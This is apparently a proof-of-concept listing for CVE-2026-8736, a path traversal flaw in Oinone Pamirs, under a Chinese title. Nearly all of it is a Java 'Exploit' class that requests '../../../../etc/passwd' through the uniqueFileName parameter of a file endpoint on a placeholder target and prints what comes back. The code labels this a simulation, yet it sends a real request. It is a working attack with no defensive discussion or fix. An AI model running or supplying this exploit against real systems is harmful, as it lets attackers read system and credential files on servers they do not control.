CVE-2026-8736 Oinone Pamirs路径遍历漏洞

import java.io.*; import java.net.*; /** * PoC for CVE-2026-8736 * Demonstrates path traversal via uniqueFileName parameter. */ public class Exploit { public static void main(String[] args) { try { // Target URL hosting the vulnerable RestController String target = "http://target:port/api/file"; // Malicious payload using path traversal sequences String payload = "../../../../etc/passwd"; // Construct the malicious request URL String exploitUrl = target + "?uniqueFileName=" + URLEncoder.encode(payload, "UTF-8"); System.out.println("[+] Sending exploit request to: " + exploitUrl); // Send request (Simulation) URL url = new URL(exploitUrl); HttpURLConnection conn = (HttpURLConnection) url.openConnection(); conn.setRequestMethod("GET"); // Read response BufferedReader in = new BufferedReader(new InputStreamReader(conn.getInputStream())); String inputLine; StringBuilder response = new StringBuilder(); while ((inputLine = in.readLine()) != null) { response.append(inputLine); } in.close(); System.out.println("[+] Response received:"); System.out.println(response.toString()); } catch (Exception e) { e.printStackTrace(); } } }